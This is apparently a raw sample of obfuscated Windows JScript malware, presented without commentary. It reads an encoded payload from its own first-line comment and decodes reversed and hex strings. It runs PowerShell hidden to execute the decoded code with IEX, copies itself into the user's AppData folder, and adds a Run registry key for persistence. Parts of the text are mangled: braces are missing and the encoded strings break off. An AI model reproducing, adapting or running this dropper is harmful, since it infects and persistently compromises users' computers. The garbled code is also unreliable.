//24 67 66 3D 28 30 30 31 30 30 31 31 31 2C 30 31 30 31 31 30 31 31 2C 30 31 31 31 30 31 31 30 2C 30 31 31 30 31 31 31 31 2C 30 31 31 30 31 30 30 31 2C 30 31 31 30 30 31 30 30 2C 30 30 31 30 30 31 31 31 2C 30 30 31 30 30 30 30 30 2C 30 30 31 30 31 30 31 31 2C 30 30 31 30 30 30 30 30 2C 30 30 31 30 30 31 31 31 2C 30 31 30 31 31 31 30 31 2C 30 30 31 30 30 30 30 30 2C 30 31 30 31 31 30 31 31 2C 30 31 30 31 30 30 31 31 2C 30 31 31 31 31 30 30 31 2C 30 31 31 31 30 30 31 31 2C 30 31 31 31 30 31 30 30 2C 30 30 31 30 30 31 31 31 2C 30 30 31 30 30 30 30 30 2C 30 30 31 30 31 30 31 31 2C 30 30 31 30 30 30 30 30 2C 30 30 31 30 30 31 31 31 2C 30 31 31 30 30 31 30 31 2C 30 31 31 30 31 31 30 31 2C 30 30 31 30 31 31 31 30 2C 30 31 30 31 30 30 31 30 2C 30 31 31 30 30 31 30 31 2C 30 31 31 30 30 31 31 30 2C 30 31 31 30 31 31 30 30 2C 30 31 31 30 30 31 30 31 2C 30 30 31 30 30 31 31 31 2C 30 30 31 30 30 30 30 30 2C 30 30 31 30 31 30 31 31 2C 30 30 31 30 30 30 30 30 2C 30 30 31 30 30 31 31 31 2C 30 31 31 30 30 30 31 31 2C 30 31 31
var fkofdg="";
fkofdg=kEwqyzFb(LNYy(),"//","")
var ydsnasd=kEwqyzFb(fkofdg," ","")
DDzbItsBH(QJqsO(ydsnasd) + cSKlYU(sTrFiSQuu()) + cSKlYU(ZmOZ()),vQoalSbq())
var TIkctp=eval('WSc' + 'ript.S' + 'crip' + 'tName')
var QcYJ=ySxk()
var NKHj=QcYJ.replace(TIkctp,'')
DDzbItsBH(NIbByqCL(),"cmd")
KKlixllT=nUdh() + QcYJ + "\"" +" "+ "\"" + Ewxaw() + "\"" + " /Y"
DDzbItsBH(KKlixllT,"cmd")
function DDzbItsBH(d4fdg00,htyt){
var cBhuLZZGvt=GetObject(HYeFMCr())
var jgfg=cBhuLZZGvt.ShellExecute(htyt,d4fdg00,"","",0)
function cSKlYU(s) {
var o = [];
for (var i = 0, len = s.length; i <= len; i++)
o.push(s.charAt(len - i));
return o.join('');
function HYeFMCr() {
var klfgdgh=QJqsO("6e65773a31333730393632302d433237392d313143452d413439452d343434353533353430303030")
return klfgdgh
function NIbByqCL(){
var XDWzFy=" /c REG ADD " + "\""+ cSKlYU(uvJByq()) + "\"" + " /V " + "\"" + "lol" + "\"" + " /t REG_SZ /F /D "+ "\"" + Ewxaw() + TIkctp+"\""
return XDWzFy
function vQoalSbq()
var fxqPkbHpPYV="lle" + "hsr"
var lxqPkbHpPYVee="ew" + "o" + String.fromCharCode(112)
return cSKlYU(fxqPkbHpPYV+lxqPkbHpPYVee)
function kEwqyzFb(str,str2,str3) {
return str.split(str2).join(str3);
function ZmOZ()
return "))fg$ ,''(ni" + "oJ:" + ":]gnirtS.me" + "tsys[(X`E`I;} ))2,_$(23tnI" + "oT::]tre" + "vnoC." + "metsyS[(gnirtS" + "teG.8FTU::]gnidoc" + "nE.tx" + "eT.m" + "etsy" + "S[ {%";
function WFdHaJ()
return "47B" + "4053C4169" + "-5259-97" + "04-0AE1-9" + "99FF390:wen";
function Ewxaw()
var aOYvnsW=GetObject(cSKlYU(WFdHaJ()))
var ndjsCbndz=("C:\\Users\\" + eval('aOYvnsW' + '.Us' + 'er' + 'Name') + "\\AppData\\Roaming\\")
return ndjsCbndz
function uvJByq()
return "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\ERAWTFOS\\UCKH"
function ySxk()
return eval('WSc' + 'ript.Sc' + 'riptF' + 'ullN' + 'ame')
function QJqsO(hex) {
var str = '';
for (var i = 0; i < hex.length; i += 2) str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
return str;
function LNYy()
var fso = new ActiveXObject("Scripting.FileSystemObject");
var s = fso.OpenTextFile(ySxk());
for (var i = 1; i < 2; i += 1) {
var gg="";
var gg= s.ReadLine();
return gg
function sTrFiSQuu()
return " | )10010100,11100100,11100100,00000100,01110110,10010110,11110110,01010110,10110100,00000100,00100110,11001110,00001100,00001100,00001100,00100110,01100110,00011100,11101100,01001110,00100100,00010100,00011010,00000110,10100010,00000110,10010010,00000100,10111100,00001100,01100110,00100110,01001100,01101100,00010110,01010110,10101100,10011110,00100100,11011100,10111110,01000100,11111010,00100100,00011110,00001100,01000100,10111010,10100110,00101110,10011110,01000110,11011010,10111010,01001110,10000110,00010110,11000110,11011010,11011110,00000100,00101110,11000110,10100110,01010110,01000110,11110010,10110100,00010110,11000110,10000110,10100010,01001110,11110110,01100010,00111110,00000100,11100100,10100100,11100100,00000100,00101110,10010110,00110110,00001110,11001110,10110100,00000100,01101110,10110110,00100100,00000100,10111100,00100110,11001110,00001100,00001100,00001100,00100110,01100110,00011100,11101100,01001110,00100100,11011100,10010100,11100100,11100110,00001110,01010110,01110100,11010110,1100
function nUdh()
return " /c copy " + "\""